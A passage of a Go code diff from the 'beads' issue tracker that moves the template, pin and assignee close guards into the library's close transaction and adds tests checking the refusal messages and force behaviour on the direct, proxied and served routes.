fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + seed(&types.Issue{ID: template, IsTemplate: true}) + seed(&types.Issue{ID: statusPinned, Status: types.StatusPinned}) + seed(&types.Issue{ID: flagPinned, Pinned: true}) + seed(&types.Issue{ID: held, Assignee: "holder"}) + seed(&types.Issue{ID: respelled, Assignee: "gastown.closer"}) + seed(&types.Issue{ID: unassigned}) + seed(&types.Issue{ID: pinnedParent, Pinned: true}) + seed(&types.Issue{ID: pinnedChild}) + lifecycleCloseReopenSeedEdge(t, ctx, fixture, pinnedChild, pinnedParent, types.DepParentChild) + + refuses := func(id string, force bool, label string, check func(error)) { + t.Helper() + before := lifecycleCloseReopenReadRow(t, ctx, fixture, id) + events := newLifecycleCloseReopenEventCounter(t, ctx, fixture, id) + _, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: "closer", IssueID: id, Force: force}) + check(err) + lifecycleCloseReopenAssertRow(t, ctx, fixture, id, "after the "+label+" refusal", before) + events.assertNoneAdded(t, label+" refusal") + } + + // The template refuses, forced or not: no flag waives read-only. + for _, force := range []bool{false, true} { + refuses(template, force, "template", func(err error) { + var refusal *publicops.TemplateReadOnlyError + if !errors.As(err, &refusal) { + t.Fatalf("close of template %s (force=%v): err = %v, want *TemplateReadOnlyError", template, force, err) + } + if refusal.IssueID != template || !errors.Is(err, publicops.ErrTemplateReadOnly) { + t.Errorf("template refusal = %#v (%v), want IssueID %q matching ErrTemplateReadOnly", refusal, err, template) + } + want := "cannot modify template " + template + ": templates are read-only; use 'bd mol pour' to create a work item" + if refusal.Error() != want { + t.Errorf("template refusal reads %q, want %q", refusal.Error(), want) + } + }) + } + + // Both pin spellings refuse unforced (ga-z3vht). + for _, id := range []string{statusPinned, flagPinned} { + refuses(id, false, "pin", func(err error) { + var refusal *publicops.PinnedError + if !errors.As(err, &refusal) { + t.Fatalf("unforced close of pinned %s: err = %v, want *PinnedError", id, err) + } + if refusal.IssueID != id || !errors.Is(err, publicops.ErrPinned) { + t.Errorf("pin refusal = %#v (%v), want IssueID %q matching ErrPinned", refusal, err, id) + } + if want := "cannot modify pinned issue " + id + " (use --force to override)"; refusal.Error() != want { + t.Errorf("pin refusal reads %q, want %q", refusal.Error(), want) + } + }) + } + + // Another actor's bead refuses unforced, naming holder and actor. + refuses(held, false, "assignee", func(err error) { + var refusal *publicops.CloseNotAssigneeError + if !errors.As(err, &refusal) { + t.Fatalf("unforced close of %s held by another actor: err = %v, want *CloseNotAssigneeError", held, err) + } + if refusal.IssueID != held || refusal.Assignee != "holder" || refusal.Actor != "closer" { + t.Errorf("assignee refusal = %#v, want IssueID %q, Assignee holder, Actor closer", refusal, held) + } + if !errors.Is(err, publicops.ErrNotOwner) { + t.Errorf("assignee refusal %v does not match ErrNotOwner", err) + } + if want := `cannot close ` + held + `: assignee is "holder", actor is "closer"; reclaim or use --force to override`; refusal.Error() != want { + t.Errorf("assignee refusal reads %q, want %q", refusal.Error(), want) + } + }) + + // The guard runs before close policy: a pinned parent with an open child + // reads the pin, not the open children. + refuses(pinnedParent, false, "pin-before-policy", func(err error) { + if !errors.Is(err, publicops.ErrPinned) { + t.Fatalf("unforced close of pinned parent %s with an open child: err = %v, want ErrPinned first", pinnedParent, err) + } + }) + + // The controls: an unassigned bead and the actor's own bead under another + // spelling of its identity close unforced. + for _, tc := range []struct{ id, actor string }{{unassigned, "closer"}, {respelled, "gastown_closer"}} { + result, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: tc.actor, IssueID: tc.id}) + if err != nil { + t.Fatalf("unforced close of %s by %s: %v, want it to land", tc.id, tc.actor, err) + } + if !result.Changed || result.Issue.Status != types.StatusClosed { + t.Errorf("unforced close of %s = %#v, want a committed close", tc.id, result) + } + } + + // Force bypasses the pin and the assignee fence. + for _, id := range []string{statusPinned, flagPinned, held} { + result, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: "closer", IssueID: id, Force: true}) + if err != nil { + t.Fatalf("forced close of %s: %v, want force to bypass the guard", id, err) + } + if !result.Changed || result.Issue.Status != types.StatusClosed { + t.Errorf("forced close of %s = %#v, want a committed close", id, result) + } + } + + // The forced close left pinned=true on the flag-pinned row; the plain retry + // is the idempotent re-close, not a pin refusal. + retry, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: "closer", IssueID: flagPinned}) + if err != nil { + t.Fatalf("plain re-close of the already-closed, still-pinned %s: %v, want the idempotent no-op", flagPinned, err) + } + if retry.Changed { + t.Errorf("plain re-close of %s reported Changed = true, want the no-op", flagPinned) + } + + // The guard reads the plane the close writes. + if err := fixture.CreateWisp(ctx, &types.Issue{ + ID: wisp, Title: wisp, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, Assignee: "holder", Ephemeral: true, + }, "seed"); err != nil { + t.Fatalf("seed wisp %s: %v", wisp, err) + } + if _, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: "closer", IssueID: wisp}); !errors.As(err, new(*publicops.CloseNotAssigneeError)) { + t.Fatalf("unforced close of wisp %s held by another actor: err = %v, want *CloseNotAssigneeError", wisp, err) + } + var status string + if err := fixture.QueryScalar(ctx, "SELECT status FROM wisps WHERE id = ?", []any{wisp}, &status); err != nil { + t.Fatalf("read wisp %s status: %v", wisp, err) + } + if types.Status(status) != types.StatusOpen { + t.Errorf("wisp %s status after the refusal = %q, want it still open", wisp, status) + } +} diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 059a50056..27f0d762f 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -60,6 +60,7 @@ var roleContractCases = []roleContract{ RunBatchApplyRefusesAnUnusableRequest, RunBatchApplyUpdateItemsRefuseATemplate, RunBatchApplySplicesTheMetadataOfATemplateItCreates, + RunBatchApplyCloseItemsAnswerToTheCloseGuards, ), roleCases("BatchCloser", "BatchCloser()", oncePerRole, @@ -84,6 +85,7 @@ var roleContractCases = []roleContract{ RunBatchCloserAllRefusedBatchRecordsNoHistory, RunBatchCloserDoesNotMutateTheCallerRequest, RunBatchCloserSettlesTheDependersOfWhatItClosed, + RunBatchCloserItemsAnswerToTheCloseGuards, ), roleCases("BatchCreator", "BatchCreator()", oncePerRole, @@ -442,6 +444,7 @@ var roleContractCases = []roleContract{ RunLifecycleCloseSettlesTheClosedRowItselfAndItsChild, RunLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate, RunLifecycleReopenReblocksItsDependers, + RunLifecycleCloseEnforcesTheCloseGuards, ), // The accessor-reachable half of Lifecycle.Create, moved out of the staging diff --git a/cmd/bd/close.go b/cmd/bd/close.go index 5a28910a2..07eec5fa2 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -185,7 +185,7 @@ the flags appear in the command line.`, // The typed error, not the decorated display line: the --force // hint closeDirectRefusal appends is advice for a human reader, // and the id already has its own field. - failures = append(failures, closeIDFailure{ID: id, Error: res.Err.Error()}) + failures = append(failures, closeIDFailure{ID: id, Error: closeDirectTypedRefusal(res.Err)}) continue } diff --git a/cmd/bd/close_direct.go b/cmd/bd/close_direct.go index 47890945e..79a91c59a 100644 --- a/cmd/bd/close_direct.go +++ b/cmd/bd/close_direct.go @@ -6,6 +6,7 @@ import ( "fmt" "github.com/steveyegge/beads/internal/storage" + storeissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -36,12 +37,16 @@ type closeDirectPlan struct { // closeDirectPreflight applies `bd close`'s own close policy to every resolved // argument, and hands the batch only the items that survived. // -// Neither check is library policy — the template/pin/assignee fence and gate -// satisfaction read the issue and nothing else, and the role has no vocabulary -// for either — which is why they stay in cmd/bd. It is closeProxiedRunPreflight's +// The one check left here is gate satisfaction. It is closeProxiedRunPreflight's // job on this route. // -// The open-children guard is NOT here, and that is the point: the engine +// The close guards — template, pin, assignee — are NOT here: they are the +// role's (issueops.Lifecycle.Close), enforced inside the close's own +// transaction on every route to a close, and they come back as the item's +// typed refusal, which closeDirectRefusal prints as the sentence this route +// always printed. +// +// The open-children guard is NOT here either, and that is the point: the engine // enforces it inside the close's own transaction, refusing with a // CloseOpenChildrenError whose message is the one this route used to compose // by hand. Keeping a copy here would be a second implementation of a rule the @@ -67,21 +72,16 @@ func closeDirectPreflight(results []*RoutedResult, resolvedIDs, reasons []string // closeDirectCheckOne returns one argument's refusal, or "" when it may go to // the batch. st is the store that owns the issue. func closeDirectCheckOne(id string, issue *types.Issue, st storage.DoltStorage, force bool) string { - // Close validation guards a state change; a row already at literal - // StatusClosed has none to guard, so skip it and let the re-close reach the - // engine as the idempotent no-op it has always been (ga-ktn9pe.4.8). - // Without this, a forced close of a boolean-pinned bead leaves pinned=true - // (the close write never touches the column — deliberately, it is the - // deletion-protection flag bd gc/purge/cleanup honor) and the plain retry - // hits NotPinned and exits nonzero, which strands the molecule auto-close - // the unchanged branch re-drives. Only a literal closed status qualifies: - // reaching a configured done status is still a real close, mirroring the - // engine's isClosedInTx. The snapshot only decides whether validation runs, - // never what is written — the engine's in-transaction `status != closed` - // guard remains the authority on whether the close is a no-op, so a - // concurrent close still converges. Mirrored in closeProxiedCheckOne. + // The close guards' own rule (storeissueops.CheckClosable), applied to the + // resolved pre-image ahead of gate satisfaction so a refusal that trips both + // reads the guard's sentence, as it always has. The role applies the same + // rule inside the close transaction, which stays the authority. A row + // already at literal StatusClosed has no state change to guard: the re-close + // reaches the engine as the idempotent no-op it has always been + // (ga-ktn9pe.4.8) — a forced close of a pinned bead leaves pinned=true, and + // the plain retry must not then refuse. Mirrored in closeProxiedCheckOne. if issue == nil || issue.Status != types.StatusClosed { - if err := validateIssueClosable(id, issue, currentActor(), force); err != nil { + if err := storeissueops.CheckClosable(id, issue, currentActor(), force); err != nil { return err.Error() } } @@ -210,6 +210,9 @@ func closeDirectCloseBatch(ctx context.Context, st storage.DoltStorage, request // line this route used to compose before the guard moved into the transaction. // Everything else is an unexpected failure and is reported against the id. func closeDirectRefusal(id string, err error) string { + if guard, ok := closeGuardRefusal(err); ok { + return guard + } switch { case errors.Is(err, storage.ErrCloseBlocked): return fmt.Sprintf("%v (use --force to override)", err) @@ -219,3 +222,40 @@ func closeDirectRefusal(id string, err error) string { return fmt.Sprintf("Error closing %s: %v", id, err) } } + +// closeGuardRefusal returns a close guard's own sentence when err is one of the +// three refusals the role raises before close policy — a template, a pin, or a +// bead someone else holds — and reports whether it was. +// +// The sentence is the typed error's, found with errors.As rather than taken +// from err itself, because err may have traveled: the unit-of-work route wraps +// it in the use case's and repository's prefixes, and a served one in the +// problem envelope. Each guard's message already names its subject and its +// --force hint, so it prints bare — the line `bd close` printed when the guard +// was a CLI pre-read, on every route. +func closeGuardRefusal(err error) (string, bool) { + var ( + template *issueops.TemplateReadOnlyError + pinned *issueops.PinnedError + notAssignee *issueops.CloseNotAssigneeError + ) + switch { + case errors.As(err, &template): + return template.Error(), true + case errors.As(err, &pinned): + return pinned.Error(), true + case errors.As(err, ¬Assignee): + return notAssignee.Error(), true + } + return "", false +} + +// closeDirectTypedRefusal is the reason a --json consumer reads for one refused +// id on this route: the typed error, with a close guard's sentence taken from +// the guard itself so a served refusal reads as a local one does. +func closeDirectTypedRefusal(err error) string { + if guard, ok := closeGuardRefusal(err); ok { + return guard + } + return err.Error() +} diff --git a/cmd/bd/close_failure_report_test.go b/cmd/bd/close_failure_report_test.go index cb05c024e..58879c84d 100644 --- a/cmd/bd/close_failure_report_test.go +++ b/cmd/bd/close_failure_report_test.go @@ -279,3 +279,109 @@ func TestCloseProxiedFailuresKeepPolicyRefusalsAndTypedOrder(t *testing.T) { t.Errorf("failures[0].Error = %q, want the display line %q as the fallback", got[0].Error, policyRefusal) } } + +// closeGuardServedEnvelope stands in for the problem envelope a served refusal +// arrives in (wire.ProblemError): a message of its own that never repeats the +// guard's sentence, with the typed refusal reachable only through Unwrap. +type closeGuardServedEnvelope struct{ inner error } + +func (e closeGuardServedEnvelope) Error() string { + return "closeIssue: bd serve at http://127.0.0.1:1 answered 409 issue_pinned: this issue is pinned" +} + +func (e closeGuardServedEnvelope) Unwrap() error { return e.inner } + +// The close guards are the role's now, so they reach the CLI as typed refusals +// — and the line a person reads, and the failed[].error a --json consumer +// reads, must still be the sentence `bd close` printed when they were a CLI +// pre-read: on both routes, and however far the refusal traveled. Each guard's +// message already names its subject and its --force hint, so every printer +// hands it back BARE, with no "Error closing :" prefix and no second hint. +// +// The "want" column is transcribed from the pre-read's validators +// (validation.NotTemplate, NotPinned, AssigneeMatches before the move), so the +// sentences themselves are pinned, not only their relationship to the typed +// errors. The bare rows catch the decorating printers; the wrapped rows are +// the ones that catch the typed printers, which would otherwise hand back the +// whole chain. +func TestCloseGuardRefusalsPrintTheGuardSentenceOnEveryRoute(t *testing.T) { + guards := []struct { + name string + err error + want string + }{ + { + name: "template", + err: &issueops.TemplateReadOnlyError{IssueID: "gr-1"}, + want: "cannot modify template gr-1: templates are read-only; use 'bd mol pour' to create a work item", + }, + { + name: "pinned", + err: &issueops.PinnedError{IssueID: "gr-1"}, + want: "cannot modify pinned issue gr-1 (use --force to override)", + }, + { + name: "not assignee", + err: &issueops.CloseNotAssigneeError{IssueID: "gr-1", Assignee: "alice", Actor: "bob"}, + want: `cannot close gr-1: assignee is "alice", actor is "bob"; reclaim or use --force to override`, + }, + } + // How the refusal reaches the printer: as the engine minted it (the direct + // route), wrapped by the use case and the SQL repository (the proxied route; + // see TestCloseProxiedTypedRefusalUnwrapsTheRoleWrappers), or inside a + // served problem envelope. + travels := []struct { + name string + wrap func(error) error + }{ + {name: "bare", wrap: func(err error) error { return err }}, + {name: "wrapped by the role", wrap: func(err error) error { + return fmt.Errorf("close gr-1: %w", fmt.Errorf("db: IssueSQLRepository.CloseChecked gr-1: %w", err)) + }}, + {name: "in a served envelope", wrap: func(err error) error { return closeGuardServedEnvelope{inner: err} }}, + } + printers := []struct { + name string + print func(error) string + }{ + {name: "closeDirectRefusal", print: func(err error) string { return closeDirectRefusal("gr-1", err) }}, + {name: "closeDirectTypedRefusal", print: closeDirectTypedRefusal}, + {name: "closeProxiedRefusal", print: func(err error) string { return closeProxiedRefusal("gr-1", err) }}, + {name: "closeProxiedTypedRefusal", print: closeProxiedTypedRefusal}, + } + + for _, g := range guards { + for _, tr := range travels { + for _, p := range printers { + t.Run(g.name+"/"+tr.name+"/"+p.name, func(t *testing.T) { + if got := p.print(tr.wrap(g.err)); got != g.want { + t.Errorf("%s = %q, want the guard's own sentence %q", p.name, got, g.want) + } + }) + } + } + } + + // And through the proxied route's own bookkeeping, which is where the two + // printers meet: the stderr line and failed[].error are the same sentence, + // because the hint a guard needs is already in it. + pinned := guards[1] + args := []string{"gr-1"} + pre := closeProxiedPreflight{ + items: []issueops.BatchCloseItem{{IssueID: "gr-1", Reason: "done"}}, + itemArgs: []int{0}, + before: map[string]*types.Issue{}, + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + } + closeProxiedOutcomes(&pre, issueops.CloseBatchResult{ + Outcomes: []issueops.CloseOutcome{{IssueID: "gr-1", Err: travels[1].wrap(pinned.err)}}, + }) + failures := closeProxiedFailures(&pre, args) + if len(failures) != 1 || failures[0].Error != pinned.want { + t.Errorf("failures = %+v, want one entry whose error is %q", failures, pinned.want) + } + if pre.errors[0] != pinned.want { + t.Errorf("stderr line = %q, want %q", pre.errors[0], pinned.want) + } +} diff --git a/cmd/bd/close_gate_test.go b/cmd/bd/close_gate_test.go index f935de4d3..542fa7ec2 100644 --- a/cmd/bd/close_gate_test.go +++ b/cmd/bd/close_gate_test.go @@ -6,6 +6,7 @@ import ( "errors" "strings" "testing" + "time" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" @@ -350,3 +351,82 @@ func TestCloseBeadGateGetter_RouteSelection(t *testing.T) { t.Error("direct mode: the getter does not read the gate's own store") } } + +// TestCloseCheckOne_CloseGuardsOutrankGateSatisfaction pins `bd close`'s +// refusal order on the direct preflight route (closeDirectCheckOne): the close +// guards (storeissueops.CheckClosable, the role's own rule) answer before gate +// satisfaction, so a pinned, held or template gate whose condition is unmet +// prints the guard's sentence, as it always has. Force waives the pin and the +// holder (and the gate check with them) but never the template, and a row +// already closed skips the guards (ga-ktn9pe.4.8). closeProxiedCheckOne makes +// the same call in the same order; it resolves the row through a unit of work, +// so this test does not drive it. +func TestCloseCheckOne_CloseGuardsOutrankGateSatisfaction(t *testing.T) { + actorMu.Lock() + savedActor, savedPending := actor, actorGitFallbackPending + actor, actorGitFallbackPending = "alice", false + actorMu.Unlock() + t.Cleanup(func() { + actorMu.Lock() + actor, actorGitFallbackPending = savedActor, savedPending + actorMu.Unlock() + }) + + // An unexpired timer gate: checkGateSatisfaction refuses it unforced. + gate := func(mut func(*types.Issue)) *types.Issue { + issue := &types.Issue{ + ID: "bd-g1", + IssueType: "gate", + AwaitType: "timer", + Status: types.StatusOpen, + CreatedAt: time.Now(), + Timeout: time.Hour, + } + mut(issue) + return issue + } + const gateRefusal = "cannot close bd-g1: gate condition not satisfied" + cases := []struct { + name string + issue *types.Issue + force bool + want string + }{ + {"pinned", gate(func(i *types.Issue) { i.Pinned = true }), false, + "cannot modify pinned issue bd-g1 (use --force to override)"}, + {"pinned status", gate(func(i *types.Issue) { i.Status = types.StatusPinned }), false, + "cannot modify pinned issue bd-g1 (use --force to override)"}, + {"template", gate(func(i *types.Issue) { i.IsTemplate = true }), false, + "cannot modify template bd-g1: templates are read-only; use 'bd mol pour' to create a work item"}, + {"forced template", gate(func(i *types.Issue) { i.IsTemplate = true }), true, + "cannot modify template bd-g1: templates are read-only; use 'bd mol pour' to create a work item"}, + {"held", gate(func(i *types.Issue) { i.Assignee = "bob" }), false, + `cannot close bd-g1: assignee is "bob", actor is "alice"; reclaim or use --force to override`}, + {"unguarded gate", gate(func(*types.Issue) {}), false, gateRefusal}, + {"forced pin", gate(func(i *types.Issue) { i.Pinned = true; i.Assignee = "bob" }), true, ""}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + check := func(route, got string) { + t.Helper() + if tc.want == gateRefusal { + if !strings.HasPrefix(got, gateRefusal) { + t.Fatalf("%s refusal = %q, want the gate refusal", route, got) + } + return + } + if got != tc.want { + t.Fatalf("%s refusal = %q, want %q", route, got, tc.want) + } + } + check("direct", closeDirectCheckOne("bd-g1", tc.issue, nil, tc.force)) + }) + } + + // The already-closed skip: a forced close leaves pinned=true behind, and + // the plain re-close must reach the engine as the idempotent no-op. + residue := &types.Issue{ID: "bd-c1", Status: types.StatusClosed, Pinned: true, Assignee: "bob"} + if got := closeDirectCheckOne("bd-c1", residue, nil, false); got != "" { + t.Fatalf("closed residue refusal = %q, want none", got) + } +} diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index e7a791d4f..cf94bba83 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -12,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/audit" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/domain" + storeissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" @@ -294,13 +295,12 @@ func closeProxiedCheckOne(ctx context.Context, uw uow.UnitOfWork, id string, in return fmt.Sprintf("Error resolving %s: %v", id, err), nil } - // Mirrors the ordering in closeDirectCheckOne (ga-ktn9pe.4.8): a row already at - // literal StatusClosed has no state change for close validation to guard, so - // the re-close skips it and reaches the engine as the idempotent no-op it has - // always been. Both close paths must agree here — diverging is the defect - // class #5217 closed. + // The close guards' own rule, ahead of gate satisfaction and under the same + // already-closed skip as closeDirectCheckOne (ga-ktn9pe.4.8); both close + // paths must agree here (#5217). The role re-applies it inside the close + // transaction, which stays the authority. if current.Status != types.StatusClosed { - if err := validateIssueClosable(id, current, currentActor(), in.force); err != nil { + if err := storeissueops.CheckClosable(id, current, currentActor(), in.force); err != nil { return err.Error(), nil } } @@ -419,6 +419,9 @@ func closeProxiedFailures(pre *closeProxiedPreflight, args []string) []closeIDFa // not noise, it is the only thing that says where an unexpected failure came // from, and there is no engine sentence to converge on. func closeProxiedTypedRefusal(err error) string { + if guard, ok := closeGuardRefusal(err); ok { + return guard + } for _, sentinel := range []error{storage.ErrCloseBlocked, storage.ErrCloseOpenChildren} { if !errors.Is(err, sentinel) { continue @@ -445,6 +448,9 @@ func closeProxiedTypedRefusal(err error) string { // reading the message, which is the point of the outcome carrying a typed // error at all. func closeProxiedRefusal(id string, err error) string { + if guard, ok := closeGuardRefusal(err); ok { + return guard + } switch { case errors.Is(err, storage.ErrCloseBlocked): return fmt.Sprintf("%v (use --force to override)", err) diff --git a/cmd/bd/show_unit_helpers.go b/cmd/bd/show_unit_helpers.go index 74c0e9705..c866d8672 100644 --- a/cmd/bd/show_unit_helpers.go +++ b/cmd/bd/show_unit_helpers.go @@ -25,22 +25,6 @@ func validateIssueUpdatable(id string, issue *types.Issue) error { return validation.NotTemplate()(id, issue) } -// validateIssueClosable checks if an issue can be closed. -// Uses the centralized validation package for consistency. -// -// actor is the current actor identity (may be empty in early-init contexts); -// AssigneeMatches refuses the close when the bead is assigned to someone else -// unless force is true. This is the authority guard for be-035. -func validateIssueClosable(id string, issue *types.Issue, actor string, force bool) error { - // Note: We use individual validators instead of ForClose() to maintain - // backward compatibility - the original didn't check for nil issues. - return validation.Chain( - validation.NotTemplate(), - validation.NotPinned(force), - validation.AssigneeMatches(actor, force), - )(id, issue) -} - // validateIssueReassignable checks whether an assignee update may proceed: // plain `bd update -a` / `bd assign` must not silently overwrite another // actor's live in_progress claim (bd-98s5c) — it was the last unfenced diff --git a/cmd/bd/show_unit_helpers_test.go b/cmd/bd/show_unit_helpers_test.go index 0d956e135..02dfd6bdf 100644 --- a/cmd/bd/show_unit_helpers_test.go +++ b/cmd/bd/show_unit_helpers_test.go @@ -22,65 +22,6 @@ func TestValidateIssueUpdatable(t *testing.T) { } } -func TestValidateIssueClosable(t *testing.T) { - if err := validateIssueClosable("x", nil, "alice", false); err != nil { - t.Fatalf("expected nil error, got %v", err) - } - if err := validateIssueClosable("bd-1", &types.Issue{IsTemplate: true}, "alice", false); err == nil { - t.Fatalf("expected template close error") - } - if err := validateIssueClosable("bd-2", &types.Issue{Status: types.StatusPinned}, "alice", false); err == nil { - t.Fatalf("expected pinned close error") - } - if err := validateIssueClosable("bd-2", &types.Issue{Status: types.StatusPinned}, "alice", true); err != nil { - t.Fatalf("expected pinned close to succeed with force, got %v", err) - } - - // ga-z3vht: pinned=true protects the bead independently of status, so - // `bd close` refuses it without --force on both the direct and proxied path. - booleanPinned := &types.Issue{Status: types.StatusOpen, Pinned: true} - if err := validateIssueClosable("bd-6", booleanPinned, "alice", false); err == nil { - t.Fatalf("expected boolean-pinned close error") - } - if err := validateIssueClosable("bd-6", booleanPinned, "alice", true); err != nil { - t.Fatalf("expected boolean-pinned close to succeed with force, got %v", err) - } - - // ga-ktn9pe.4.8: a closed row carrying pinned=true is the residue left by a - // forced close, and this guard still refuses it — closed status earns no - // exemption from the boolean trigger. Idempotent re-close was restored by - // ORDERING instead: cmd/bd/close.go and close_proxied_server.go skip close - // validation entirely for a row already closed at resolve time, so this guard - // is never reached on the no-op retry. Do not "simplify" it by exempting - // closed here — that would also disarm the guard on live status transitions. - closedPinnedResidue := &types.Issue{Status: types.StatusClosed, Pinned: true} - if err := validateIssueClosable("bd-7", closedPinnedResidue, "alice", false); err == nil { - t.Fatalf("expected closed+pinned residue to refuse a plain close") - } - if err := validateIssueClosable("bd-7", closedPinnedResidue, "alice", true); err != nil { - t.Fatalf("expected closed+pinned residue close to succeed with force, got %v", err) - } - - // be-035: actor != assignee must be refused without --force. - mismatched := &types.Issue{Assignee: "bob"} - if err := validateIssueClosable("bd-3", mismatched, "alice", false); err == nil { - t.Fatalf("expected actor/assignee mismatch error") - } - // --force overrides the authority check. - if err := validateIssueClosable("bd-3", mismatched, "alice", true); err != nil { - t.Fatalf("expected close to succeed with force despite mismatch, got %v", err) - } - // Same-actor close is allowed. - if err := validateIssueClosable("bd-4", &types.Issue{Assignee: "alice"}, "alice", false); err != nil { - t.Fatalf("expected matching-assignee close to succeed, got %v", err) - } - // Unassigned beads can be closed by anyone (lots of bd's flow involves - // closing beads nobody claimed). - if err := validateIssueClosable("bd-5", &types.Issue{Assignee: ""}, "alice", false); err != nil { - t.Fatalf("expected unassigned close to succeed, got %v", err) - } -} - func TestFindRepliesToAndReplies_WorksWithDoltStorage(t *testing.T) { ctx := context.Background() st := newTestStoreWithPrefix(t, filepath.Join(t.TempDir(), "test.db"), "test") diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index fab98a6f5..2cc93e90c 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -72,6 +72,7 @@ go_test( "brief_projection_test.go", "claim_next_test.go", "claim_test.go", + "close_guards_test.go", "close_test.go", "comments_test.go", "context_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index b09477c7c..1d12b9fa7 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -393,7 +393,7 @@ type ApplyCloseItem struct { // IT IS A STRING, and it must be the `revision` string a response carried, verbatim. A JSON number — or any other type — is a `400` naming this member. The token spans the FULL 64-bit range, so a number would be rounded past 2^53 by an IEEE-754-double parser and the guard would miss a row nothing else touched; a string round-trips exactly in every consumer. ExpectedVersion *string `json:"expected_version,omitempty"` - // Force Bypasses close policy — the open-children refusal and the live-blocker refusal — and nothing else. + // Force Bypasses close policy — the open-children refusal and the live-blocker refusal — and the pin and the assignee guard, and nothing else: never the template guard. // // CLOSE POLICY EVALUATES AT THIS ITEM, against the row as this request has already changed it. A LATER item that gives a closed parent an open child is NOT refused: the policy is a gate on the closing act, not an invariant the store maintains. Force *bool `json:"force,omitempty"` @@ -764,7 +764,7 @@ type BatchCloseRequest struct { // Actor Who is closing. `ClaimRequest.actor`'s rules exactly, and the value is recorded against every item. Actor string `json:"actor"` - // Force Bypass close policy — the open-children refusal and the live-blocker refusal — for EVERY item, and nothing else. It never bypasses validation and it never bypasses existence: an id that names nothing refuses whether or not this is set. It is request-wide because the flag that spells it is. + // Force Bypass close policy — the open-children refusal and the live-blocker refusal — and the pin and the assignee guard for EVERY item, and nothing else. It never bypasses the template guard or validation, and it never bypasses existence: an id that names nothing refuses whether or not this is set. It is request-wide because the flag that spells it is. Force *bool `json:"force,omitempty"` // Items The issues to close, in the order the caller asked for them. Every item appears in `outcomes` at the same index. @@ -929,7 +929,7 @@ type CloseIssueRequest struct { // IT IS A STRING, and it must be the `revision` string a response carried, verbatim. A JSON number — or any other type — is a `400` naming this member. The token spans the FULL 64-bit range, so a number would be rounded past 2^53 by an IEEE-754-double parser and the guard would miss a row nothing else touched; a string round-trips exactly in every consumer. ExpectedVersion *string `json:"expected_version,omitempty"` - // Force Bypass close policy — the open-children refusal and the live-blocker refusal — and nothing else. The refusals are the ROLE's, so this endpoint cannot skip a guard by forgetting one exists. A forced close still reports `open_children`. + // Force Bypass close policy — the open-children refusal and the live-blocker refusal — and the pin and the assignee guard, and nothing else: never the template guard (see "Close guards" on `POST /v0/beads/issues/{id}:close`). The refusals are the ROLE's, so this endpoint cannot skip a guard by forgetting one exists. A forced close still reports `open_children`. // // IT BYPASSES POLICY, NEVER A PRECONDITION. `expected_version` is still checked with it set, for the reason `issueops.CloseRequest.Force` gives: a caller saying "close it anyway" has said nothing about whether the row is still the one it read. Force *bool `json:"force,omitempty"` @@ -969,10 +969,13 @@ type CloseOutcome struct { // A BATCH WHOSE ITEMS ARE ALL `true` LANDED NOTHING, and records no history entry: a per-item success that changed nothing is not work the caller did. AlreadyClosed *bool `json:"already_closed,omitempty"` + // Assignee With `not_assignee`: the issue's assignee the refusing transaction observed, exactly as `Problem.assignee` carries it for the single close. Absent on a successful item and on every other refusal. + Assignee *string `json:"assignee,omitempty"` + // Blockers With `not_closable` on the live-blocker refusal: the blockers that refused THIS item, exactly as `Problem.blockers` carries them for the single close, and optional for the same reason. Absent on a successful item and on every other refusal. Blockers *[]Blocker `json:"blockers,omitempty"` - // Code This item's refusal, from `Problem.code`'s vocabulary and restricted to `not_found` (the id names no row in either plane) and `not_closable` (close policy refused it: open children, or a live blocker — see `open_children`). ABSENT means the item succeeded. + // Code This item's refusal, from `Problem.code`'s vocabulary and restricted to `not_found` (the id names no row in either plane), `not_closable` (close policy refused it: open children, or a live blocker — see `open_children`), and the close guards `template_read_only`, `issue_pinned` and `not_assignee` (see `assignee`), exactly as the single close answers them. ABSENT means the item succeeded. // // It is the problem vocabulary rather than a second one because an item refusal and a request refusal are the same question asked at two scopes, and a client that had to learn two vocabularies to classify one condition would be classifying the SCOPE rather than the condition. Code *string `json:"code,omitempty"` @@ -1586,7 +1589,7 @@ type Problem struct { // IT IS A STRING, and it must be the `revision` string a response carried, verbatim. A JSON number — or any other type — is a `400` naming this member. The token spans the FULL 64-bit range, so a number would be rounded past 2^53 by an IEEE-754-double parser and the guard would miss a row nothing else touched; a string round-trips exactly in every consumer. ActualVersion *string `json:"actual_version,omitempty"` - // Assignee With `already_claimed`: the actor currently holding the issue, read inside the transaction that refused. + // Assignee With `already_claimed`: the actor currently holding the issue, read inside the transaction that refused. With `not_assignee`: the issue's assignee the refusing close observed — always present on that code. // // IT IS OPTIONAL ON EVERY OPERATION BUT THE 